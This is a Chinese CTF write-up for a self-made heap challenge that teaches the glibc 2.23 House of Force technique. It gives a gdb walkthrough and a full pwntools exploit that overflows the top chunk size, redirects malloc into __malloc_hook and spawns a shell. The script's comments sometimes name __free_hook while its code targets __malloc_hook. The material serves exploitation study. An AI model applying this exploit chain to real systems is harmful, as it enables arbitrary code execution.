my_force.zipHouse of Force 从零到 getshell —— 一道自命题的完整调试记录这是一道关于 House of Force 的自命题名字叫 my_force题目本身不复杂主要用到的知识点是堆溢出。写这篇文章的目的不只是记一下 exp而是把从 brk 到 main_arena 这条线理清楚因为 House of Force 恰恰是把这一串概念串起来的一个技巧。先交代环境x86-64glibc 2.23No PIE只开了 NX 和 Partial RELRO。下面按知识点扩充、静态分析、动态验证、说明四部分来写。0. 知识点的扩充1. brk 和 sbrk这两个经常被混着叫其实区别就一个传的参数不一样。brk 传的是目标绝对地址直接告诉内核堆顶设到这里sbrk 传的是增量往上推多少字节。如果手上只有 brk每次扩堆都得干这么三件事先 brk(0) 问一下当前堆顶在哪自己在用户态把新地址算出来再 brk(新地址) 设回去。两次系统调用还得自己维护当前堆顶这个值。sbrk 就是给这堆活包了个壳。glibc 里有个静态变量 __curbrk 记着当前堆顶sbrk(delta) 直接加上去再调一次底层的 brk 落实。返回值也顺便给了返回的是扩容前的旧堆顶也就是新拿到那块内存的起点拿来就能用。所以 sbrk 的底层其实还是 brk只是多做了一点记账和算术。2. 堆的布局堆是从低地址往高地址长的。.bss 上面那一段就是堆的起点本题是 0x405000再往上是内核给的 brk 边界线中间这片没分出去的空间就是 top chunk。高地址 0x426000 -------------------------- ← 内核 brk 边界 | Top Chunk | 0x4056c0 -------------------------- ← main_arena.top | 已分配的 chunk | 0x405000 -------------------------- ← 堆起点 | .bss / .data | 低地址 --------------------------每次 malloc 从 top 上切一块top 就往上挪一截。chunk 头里的 size 记的是从这块头开始一共占多少字节最低位是 PREV_INUSE 标志位所以 0x110 的块在内存里写的是 0x111。越过 brk 边界去访问会直接段错误因为那块内存内核还没给权限。所以 top chunk 的 size 实际上反映了还能安全用多少。3. arena早年的分配器只有一个堆、一套空闲链表、一个 top。单线程当然没问题多线程就麻烦了大家都去切同一个 top指针必然乱只能加锁。结果十个线程抢一把锁多核直接退化成排队。ptmalloc 的办法是给线程发独立金库每个 arena 就是一份完整的管理结构struct malloc_state有自己的锁、自己的 bins、自己的 top。线程 A 去 1 号 arena线程 B 去 2 号各锁各的门互不干扰。struct malloc_state 里最关键的就三个字段struct malloc_state { __libc_lock_define (, mutex); // 这个 arena 自己的锁 int flags; mfastbinptr fastbinsY[NFASTBINS]; // fastbin 链表 mchunkptr top; // 本 arena 专属的 top chunk 指针 mchunkptr last_remainder; mchunkptr bins[NBINS * 2 - 2]; // unsorted / small / large bins ... };这里有个容易忽略的地方top 指针是放在 arena 里的不是全局的。所以每个 arena 各有一个 top改 main_arena.top 只影响主分配区。4. 什么时候会走 mmap这一条在本题里没触发但看别的堆题时经常要对上号单次申请超过阈值默认是 128KBDEFAULT_MMAP_THRESHOLD。走 mmap 的好处是 free 的时候能 munmap 直接还给系统不会在堆里留个洞否则一块 10MB 的内存在传统堆里被释放后上面只要还压着一个没释放的小块堆顶就降不下来。子线程要新建 arena或者某个子 arena 的 top 用光了。因为整个进程只有一条 brk 边界被主分配区占着子分配区只能靠 mmap 另找地盘一次映射 64MB 虚拟空间先只把头部那块设成可读写后面按需 mprotect。主 arena 用 brk 扩容失败比如撞上了上面的其他映射或者被 RLIMIT_DATA 卡住这时候会退而求其次用 mmap 找块空地当新 top这种情况叫 non-contiguous main arena。环境变量或者 mallopt 把阈值调小了或者程序干脆换成了 jemalloc / tcmalloc。本题全程一个主线程、小内存所以老老实实走 brk堆是一根连续的线。5. 每个 arena 都有自己的 top高地址 --------------------------------------- | 栈空间 (Stack) | ← 子堆天花板 | 子 Arena 的 Top Chunk | ← thread_arena-top --------------------------------------- | 子线程已分配的 Chunks | | heap_info / malloc_state子账本 | ← mmap 出来的子堆起点 | ... | ← 主堆顶brk | 主 Arena 的 Top Chunk | ← main_arena.top --------------------------------------- | 主线程已分配的 Chunks | ← start_brk | .bss / .data / 代码段 | 低地址 ---------------------------------------main_arena 和 thread_arena 都是 struct malloc_state 的实例所以各自都有自己的 top互不干扰。6. request2size用户说我要 256 字节glibc 不能真给 256。一是块前面得挂元数据prev_size 加 size64 位下 16 字节二是块大小必须 16 字节对齐。#define request2size(req) \ (((req) SIZE_SZ MALLOC_ALIGN_MASK) ~MALLOC_ALIGN_MASK) // SIZE_SZ 8, MALLOC_ALIGN_MASK 0xf化简就是 (req 0x17) ~0xf代进去算malloc(0x100) 得 0x110malloc(0x500) 得 0x510malloc(0x90) 得 0xa0都对得上。这个公式在 House of Force 里是致命的后面 req nb - 0x10 那个减 0x10 就是从这儿来的。7. malloc_hook 和 free_hook这两个是 glibc 留下的全局函数指针各占 8 字节住在 libc 的数据段里。它不为 NULL 的时候原本的分配/释放流程就整个被顶掉。void *__libc_malloc(size_t bytes) { void *(*hook)(size_t, const void *) atomic_forced_read(__malloc_hook); if (hook ! NULL) return (*hook)(bytes, RETURN_ADDRESS(0)); // 不分配直接调 return _int_malloc(arena, bytes); } void __libc_free(void *mem) { void (*hook)(void *, const void *) atomic_forced_read(__free_hook); if (hook ! NULL) { (*hook)(mem, RETURN_ADDRESS(0)); // 不释放调完就返回 return; } _int_free(arena, mem, 0); }注意两者参数不一样malloc_hook 第一个参数是请求的字节数free_hook 第一个参数是被释放的指针。这个差别决定了后面给 system 喂 /bin/sh 的方式完全不同——用 malloc_hook把 /bin/sh 的地址当成 size 传进去就行用 free_hook则要让那个指针指向的内容是 /bin/sh 字符串。检查发生在函数最开头、arena_get 之前所以后面所有的堆校验、bin 遍历都不会走。这也是它能当任意写 → 代码执行终结点的原因。8. main_arenamain_arena 是主分配区的账本谁空了、空在哪、还剩多少、下次从哪切都写在里面。它在 libc 数据段偏移固定这份 libc 里 main_arena __malloc_hook 0x10。顺带说一句 unsorted bin往里面插块的时候块的 fd / bk 会被写成链表头的地址而链表头就在 main_arena 0x58。所以只要 free 一个够大的块它用户区前 16 字节就会出现一个 libc 地址这就是后面泄露 libc 的来源。1. 静态分析菜单就四个功能源码很直白这里不逐行解释直接看关键位置。alloc 用 malloc(size) 申请size 走的是 strtoull 而不是 atoi所以能送进去真正的大数申请完还把地址打印出来等于白送一个堆地址。edit 用 read(0, ptrs[i], nbytes) 写数据nbytes 完全由输入决定。show 用 write(1, ptrs[i], sizes[i])用的是申请时记录的大小。free 之后立刻把指针置空、大小清零。漏洞在 edit 这一段v6 read_int(idx: ); nbytes read_size(len: ); if ( (unsigned int)v6 0xF || !*((_QWORD *)ptrs v6) ) goto LABEL_26; printf(data: ); if ( read(0, *((void **)ptrs v6), nbytes) ! nbytes ) puts([-] short read);它只做了两件事检查下标合不合法检查指针是不是空。nbytes 和 sizes[v6] 之间没有任何比较read 会老实地从 ptrs[v6] 开始写 nbytes 个字节写多少是多少。那个看着有点怪的 (unsigned int)v6 0xF 其实是源码里 i 0 || i MAXSLOT 被编译器优化成了无符号比较负数和越界一次挡住。所以下标这边没文章可做能动手的只有长度。另外 free 之后指针被置空没有 UAF 也没有 double freeshow 用的是记录大小读的那一端也是安全的。整道题就留了这一个口子。2. 动态验证环境是 pwndbg gdbASLR 关掉方便对照地址。2.1 先把关键地址算出来gdb -q ./my_force set pagination off set confirm off set disable-randomization on start p/x __malloc_hook【你应该看到】$1 0x7ffff7bc4b10有了它剩下的都是加偏移set $hook 0x7ffff7bc4b10 # __malloc_hook 的地址 set $libc $hook - 0x3c4b10 # libc 基址 0x7ffff7800000 set $T $libc 0x3c4b00 # 目标 top 0x7ffff7bc4b00 set $sys $libc 0x45390 # system 0x7ffff7845390 set $binsh $libc 0x18cd57 # /bin/sh 0x7ffff798cd57这里我额外打了个断在 read_int 上方便每个提示符前停下来看内存。这里提醒一句别用 commands / continue / end 那一套pwndbg 会直接报 DEADLOCK手动 c 反而更省事。2.2 把堆搭起来1 256 1 1280 1 144【你应该看到】[0] 0x405010 (size256) [1] 0x405120 (size1280) [2] 0x405630 (size144)heap 看一眼Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x110 (0x111) Allocated chunk | PREV_INUSE Addr: 0x405110 Size: 0x510 (0x511) Allocated chunk | PREV_INUSE Addr: 0x405620 Size: 0xa0 (0xa1) Top chunk | PREV_INUSE Addr: 0x4056c0 Size: 0x20940 (0x20941)三块首尾相接top 在 0x4056c0。顺便确认一件事2.23 没有 tcachefree 掉的块不会先进 tcache 队列而是直接进 bins 或者并进 top。2.3 泄露 libc先把 0x500 那块 free 掉。它后面挡着一个 0x90 的 guard 块所以不会并进 top而是老老实实进 unsorted bin。4 1x/4gx 0x405110【你应该看到】0x405110: 0x0000000000000000 0x0000000000000511 0x405120: 0x00007ffff7bc4b78 0x00007ffff7bc4b78两个指针相等都是 0x7ffff7bc4b78减去 0x3c4b78 正好是 libc 基址 0x7ffff7800000。它同时也是 main_arena 0x58也就是 unsorted bin 的链表头。拿到之后按原大小申请回来。malloc 从 unsorted bin 摘块的时候不会清空块里的数据所以那 16 字节还在1 1280 3 1show 出来的是一串乱码这是正常的它就是那 8 字节的小端形式不用管。想看清楚就用 gdbx/2gx 0x405120【你应该看到】0x405120: 0x00007ffff7bc4b782.4 把 top 挪回来现在还要让 top 退到 p0 后面才能用溢出打到它的 size。把 guard 和 0x500 那块依次 free 掉它们会依次并进 top。4 2 4 1x/2gx 0x405110【你应该看到】0x405110: 0x0000000000000000 0x0000000000020ef10x405110 现在是 top 的头等于 p0 0x100size 从 0x20941 涨到 0x20ef1正好是 0x20940 0xa0 0x510。这一步对上了说明合并没出岔子。这时候再去 bins 里看已经空了全给 top 吃回去了。2.5 溢出打掉 top 的 size2 0 272然后输入 272 个字符我直接敲了一串 A。x/2gx 0x405110【你应该看到】0x405110: 0x4141414141414141 0x4141414141414141p0 的可用区是 0x100 字节写 272 就多出 0x10正好盖到 0x405110next chunk 的 prev_size和 0x405118size也就是 top 的 size。两个字段都变成 0x4141...溢出确认。再把 size 直接落成 -1。这一步用 gdb 写是因为 0xff 敲不进终端set {unsigned long}0x405118 0xffffffffffffffff x/2gx 0x405110【你应该看到】0x405110: 0x4141414141414141 0xffffffffffffffff堆管理器从此认为这块 top 还剩 16 EB。2.6 把 top 搬到 libc现在的 top 在 0x405110目标是 0x7ffff7bc4b00。要移动的字节数nb 0x7ffff7bc4b00 - 0x405110 0x7ffff77bf9f0 req nb - 0x10 0x7ffff77bf9e0 140737345485280减 0x10 是因为 request2size 会自动加回来不减的话 top 会多走 16 字节。1 140737345485280【你应该看到】[1] 0x405120 (size140737345485280)返回值本身没什么意义就是旧 top 的用户指针关键看 top 去哪了x/2gx 0x7ffff7bc4b00【你应该看到】0x7ffff7bc4b00: 0x0000000000000000 0xffff8000088406090x7ffff7bc4b00 上出现了 chunk 头size 是 0xffff800008840609末位 1。这个地址在 libc 数据段里T 0x10 正好是 __malloc_hook。2.7 拿到 hook写 system1 32【你应该看到】[2] 0x7ffff7bc4b10 (size32)一次堆分配返回了 libc 的地址这就是 House of Force 的威力。set {unsigned long}0x7ffff7bc4b10 0x7ffff7845390 x/gx 0x7ffff7bc4b10【你应该看到】0x7ffff7bc4b10 __malloc_hook: 0x00007ffff78453902.8 触发1 140737347374423这个数不是大小是 /bin/sh 的地址0x7ffff798cd57。因为 hook 已经被改成 system__libc_malloc 一进门就把这个大小当参数传给了 system等于 system(/bin/sh)。这一次连 _int_malloc 都没进去所以在里面打断点是打不到的。接着敲 id【你应该看到】uid1000(bgl1) gid1000(bgl1) ...3. 说明3.1 这一招到底做了什么_int_malloc 从 top 切块的逻辑里有一条几乎不设防的路径victim av-top; size chunksize(victim); if ((unsigned long)size (unsigned long)(nb MINSIZE)) { remainder_size size - nb; remainder chunk_at_offset(victim, nb); // 纯加法不查边界 av-top remainder; ... return chunk2mem(victim); // 返回 victim 0x10 }size 被改成 -1 之后那个 if 对任何 nb 都成立remainder victim nb 也不看这个地址有没有意义av-top 就这么被搬走了。所以 House of Force 的实质不是溢出本身而是篡改 main_arena.top 这个指针。溢出只是达成它的手段。3.2 三个 0x10T 必须 16 对齐因为 chunk 是对齐分配的T 0x10 必须是 __malloc_hook因为 chunk2mem 固定加 0x10req nb - 0x10因为 request2size 固定要加回来。一进一出全是同一个 0x10。3.3 为什么选 malloc_hook 不用 free_hook__free_hook 在 0x3c67a8末位是 8不是 16 对齐。想打它就得让 T __free_hook - 0x18但那个位置紧挨着 __after_morecore_hooklibc 自己会把我们写进去的 size 改掉实测读回来是一串乱七八糟的值下一次 malloc 的准入检查直接失败。__malloc_hook 在 0x3c4b10T 0x3c4b00 正好对齐而且它前面那 8 字节程序不用被写脏了也没影响。再加上 malloc 这条路更短__libc_malloc 进门就查 hook参数还只是一个数字把 /bin/sh 的地址传进去就完事不需要在堆上另外准备一份字符串。3.4 为什么 2.29 之后就死了后面版本给这条路径加了一句范围检查if (__glibc_unlikely (size 2 * SIZE_SZ) || __glibc_unlikely (size av-system_mem)) malloc_printerr (malloc(): corrupted top size);-1 显然大于 system_mem当前从系统拿到的总量直接 abort。所以这个技巧只在 2.23 / 2.27 / 2.28 上有效再往后就得换 tcache poisoning 或者 large bin attack 那些路子。3.5 这题是一次性的top 一旦被搬进 libc堆就废了main_arena.top 指向数据段后面任何一次 malloc 都会从那块假堆上切正常逻辑全乱。所以顺序不能错也不能中途重来。我在 exp 里前面加了一堆 assert 就是这个原因宁可提前报错也不要带着错位跑到底再崩。3.6 实际踩到的几个坑edit 分支是先读 len 再判 idx 的。想用非法下标绕回菜单、骗一个断点len 那一步也得给个数不然程序就停在那儿等输入看着像卡死。pwndbg 里用 commands 块配 continue 会报 DEADLOCK改成手动 c 更稳。发布版 libc 是 strip 过的_int_malloc、main_arena 这些内部符号 gdb 认不出来。要看分配情况就断 malloc参数在 rdi或者干脆看程序自己打印的 size。泄露那一步读出来的 8 字节是二进制终端显示成乱码属于正常现象用 gdb 的 x/2gx 对照确认就行。题目里 guard 块必须大于 0x80。小于等于 0x80 会进 fastbinfree 之后不会和 top 合并后面算 top 位置就会全错。3.7 最后House of Force 的思路很直接用一个堆溢出把 top 的 size 改成 -1再用一次巨额 malloc 把 top 送到目标旁边接着一次 malloc 就把那块内存交到手上。它的短板也很明显版本卡死、一次性、依赖地址已知。但作为理解 main_arena.top 和 request2size 的练习题它把最核心的几个概念串得挺完整。4.脚本#!/usr/bin/env python3 # -*- coding: utf-8 -*- my_force —— House of Force 自出题 expglibc 2.23-0ubuntu10 利用链 [1] 泄露free 一个 0x500 的块进 unsorted bin后面有 guard不会被并入 top 重新 malloc 取回同一块show 读前 8 字节 main_arena0x58 - libc base [2] 恢复堆布局free(guard) free(leak_chunk) 让 top 回到 p0 之后 [3] 溢出edit(p0) 的 len 不校验 - 覆盖 top-size -1 [4] malloc(evil)top old_top request2size(evil) 被挪到 __free_hook 附近 [5] malloc(0x20) 返回 __free_hook-8edit 写入 system [6] malloc(0x30) 写 /bin/shfree 触发 __free_hook - system(/bin/sh) 本目录 libc 偏移nm -D libc-2.23.so 实测 __free_hook 0x3c67a8 system 0x45390 unsorted(fd) main_arena0x58 0x3c4b78 from pwn import * import os import re context(archamd64, log_levelos.environ.get(LV, info)) HERE os.path.dirname(os.path.abspath(__file__)) LIBC_UNSORTED 0x3c4b78 LIBC_MALLOC_HOOK 0x3c4b10 LIBC_BINSH 0x18cd57 LIBC_SYSTEM 0x45390 # House of Force 的目标 top必须 16 对齐且 top0x10 落在 __free_hook 前 8 字节 # 取 T libc 0x3c6790 下一次 malloc 返回 libc0x3c67a0 __free_hook - 8 HOF_TOP_OFF 0x3c4b00 def start(): p process(os.path.join(HERE, my_force), cwdHERE) p.timeout 4 return p def alloc(p, size): p.sendlineafter(b , b1) p.recvuntil(bsize: ) p.sendline(str(size).encode()) line p.recvline() m re.search(rb0x[0-9a-f], line) return int(m.group(0), 16) def edit(p, idx, data): p.sendlineafter(b , b2) p.recvuntil(bidx: ) p.sendline(str(idx).encode()) p.recvuntil(blen: ) p.sendline(str(len(data)).encode()) p.recvuntil(bdata: ) p.send(data) p.recvuntil(b\n) # edit 结束后的空行 def show(p, idx, n): p.sendlineafter(b , b3) p.recvuntil(bidx: ) p.sendline(str(idx).encode()) data p.recvn(n) p.recvuntil(b\n) return data def free(p, idx): p.sendlineafter(b , b4) p.recvuntil(bidx: ) p.sendline(str(idx).encode()) def main(): p start() # ---------------- [1] 泄露 libc ---------------- p0 alloc(p, 0x100) # idx0HoF 受害者将来与 top 相邻 p1 alloc(p, 0x500) # idx1泄露用 p2 alloc(p, 0x90) # idx2guard(0x80 避免进 fastbin)阻止 p1 free 时并入 top log.info(p0%#x p1%#x p2%#x, p0, p1, p2) assert p1 p0 0x100 0x10, 堆布局不符合预期 assert p2 p1 0x510, 堆布局不符合预期 free(p, 1) # p1 - unsorted bin p1b alloc(p, 0x500) # 精确取回fd 未被清零 assert p1b p1 leak u64(show(p, 1, 8)) libc leak - LIBC_UNSORTED assert libc 0xfff 0, libc 基址未页对齐: %#x % libc log.success(leak%#x libc%#x, leak, libc) # ---------------- [2] 恢复布局top 回到 p0 之后 ---------------- free(p, 2) # guard 并入 top free(p, 1) # p1 与 top 相邻 - 合并top p1 p00x110 top p0 0x100 # p0 的 chunk 头 0x110 user0 0x100 top_size_addr top 8 # ---------------- [3] 溢出改写 top-size -1 ---------------- payload bA * 0x100 p64(0) p64(0xffffffffffffffff) assert len(payload) 0x110 edit(p, 0, payload) log.success(top-size %#x 已改为 -1, top_size_addr) # ---------------- [4] 把 top 挪到目标 ---------------- T libc HOF_TOP_OFF # request2size(req) (req23) ~15取 req (T-top)-0x10 可得 nb T-top req (T - top) - 0x10 log.info(T%#x req%#x, T, req) evil alloc(p, req) # 只分配不读入 # ---------------- [5] malloc(0x20) 返回 __free_hook-8 ---------------- hook_user alloc(p, 0x20) log.success(malloc(0x20) - %#x (expect %#x), hook_user, libc LIBC_MALLOC_HOOK) assert hook_user libc LIBC_MALLOC_HOOK edit(p, 2, p64(libc LIBC_SYSTEM)) log.success(__malloc_hook system) # ---------------- [6] 触发malloc 实参 /bin/sh 地址 ---------------- # 注意__libc_malloc 一进来就查 __malloc_hook不会真的分配 # 所以实参可以是任意大的地址 —— 这里就是 libc 里的 /bin/sh 字符串。 p.sendlineafter(b , b1) p.recvuntil(bsize: ) p.sendline(str(libc LIBC_BINSH).encode()) # malloc(0x18cd57) - system(/bin/sh)不会打印地址行 p.sendline(becho PWNED_HOF id exit) print(p.recvrepeat(3).decode(errorsreplace)) p.close() if __name__ __main__: main()
企业数字化 ERP 产品动态
相关推荐
【C++高并发内存池】 2.ThreadCache设计 目录
前言:
1.Common.hpp
2.UnitTest.cpp
3. ConCurrentAlloc.h
4. ThreadCache.h
5.ThreadCache.cpp
设计总结: 前言: 前面一个设计了一个定长内存池,经过与传统的内存申请方式对比,初步实现了一个可承受频繁… · 2026/11/3 2:54:28
一次生成还是多轮修补:两种工作流的真实产出效率对比 一次生成还是多轮修补:两种工作流的真实产出效率对比
用 4B 小模型生成一个能跑的单文件 Three.js 场景,真正的分岔点不在提示词写得多漂亮,而在第一次生成之后你做什么选择:重新掷骰子,还是拿着上一版代码打补丁。前… · 2026/11/3 2:54:28
构建持续进化的个人知识系统:方法与工具 1. 为什么学习后的持续进化如此重要?我们都有过这样的经历:花几个月时间学完某个课程或掌握某项技能后,很快发现学到的知识开始变得陈旧。技术迭代的速度远超我们的想象——根据Stack Overflow的年度开发者调查,主流编程框架的平均… · 2026/11/3 3:31:34
密评工具不是跑分器:构建可复现的密码应用证据链 简介:《商用密码应用安全性评估测评工具指引》面向参与商用密码应用安全性评估的测评机构、密码产品厂商及信息化建设单位,用于回答“选用何种测评工具、工具应满足哪些安全与技术要求”这一实操问题。内容围绕测评工具类别展开,区分密码应用… · 2026/11/3 3:31:34
小学生C++竞赛初赛卷解析:计算机基础与C++语法考点 简介:这份第二十九届厦门市小学生计算机C语言竞赛初赛试卷,面向备考小学C编程竞赛的学生、信息学社团教师及辅导者,可用于熟悉初赛题型、组织模拟测评和定位知识薄弱点。资源共1个PDF文件,压缩包约310KB,保留试卷版式&… · 2026/11/3 3:31:34
密评测评工具链分层选型与SM2/SM3/SM4现场取证指南 简介:《商用密码应用安全性评估测评工具指引》由中国密码学会密评联委会发布,面向密评机构、密码应用建设与运维单位及信息系统安全负责人,用于解决测评工具选型、使用与安全管控缺少统一依据的问题。文件围绕测评工具类别、安全要求与技术要… · 2026/11/3 3:31:34
C++竞赛初赛45题90分钟:语法常识、进制计算与程序阅读拿分法 简介:这份试卷面向准备参加厦门市小学生计算机C语言竞赛的选手及信息学辅导教师,可用于初赛自测、考点梳理与课堂练习。内容为第二十九届厦门市小学生计算机C语言竞赛初赛真题,满分100分、限时90分钟、共四大题45小题,覆盖信息技术… · 2026/11/3 3:31:34
深入理解内存对齐:原理、优化与实践 1. 内存对齐的概念与必要性内存对齐是计算机系统中一个基础但极其重要的概念。简单来说,它指的是数据在内存中的存储位置必须满足特定边界要求。比如一个4字节的int型变量,在32位系统上通常需要从4的倍数地址开始存放。为什么需要内存对齐?这… · 2026/11/3 3:30:34
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 13:10:28
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 4:42:45
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 5:17:18
STM32F411RE与MAX14431实现SPI隔离:工业现场抗共模干扰实战 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 1:01:59
ESP32+大模型AI硬件开发:从Demo到产品的8个工程问题 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 1:01:59
基于MAX14431BAEE+与PIC18F85J10的SPI隔离方案设计与实践 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 1:01:59
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 13:10:28
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 4:42:45
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 5:17:18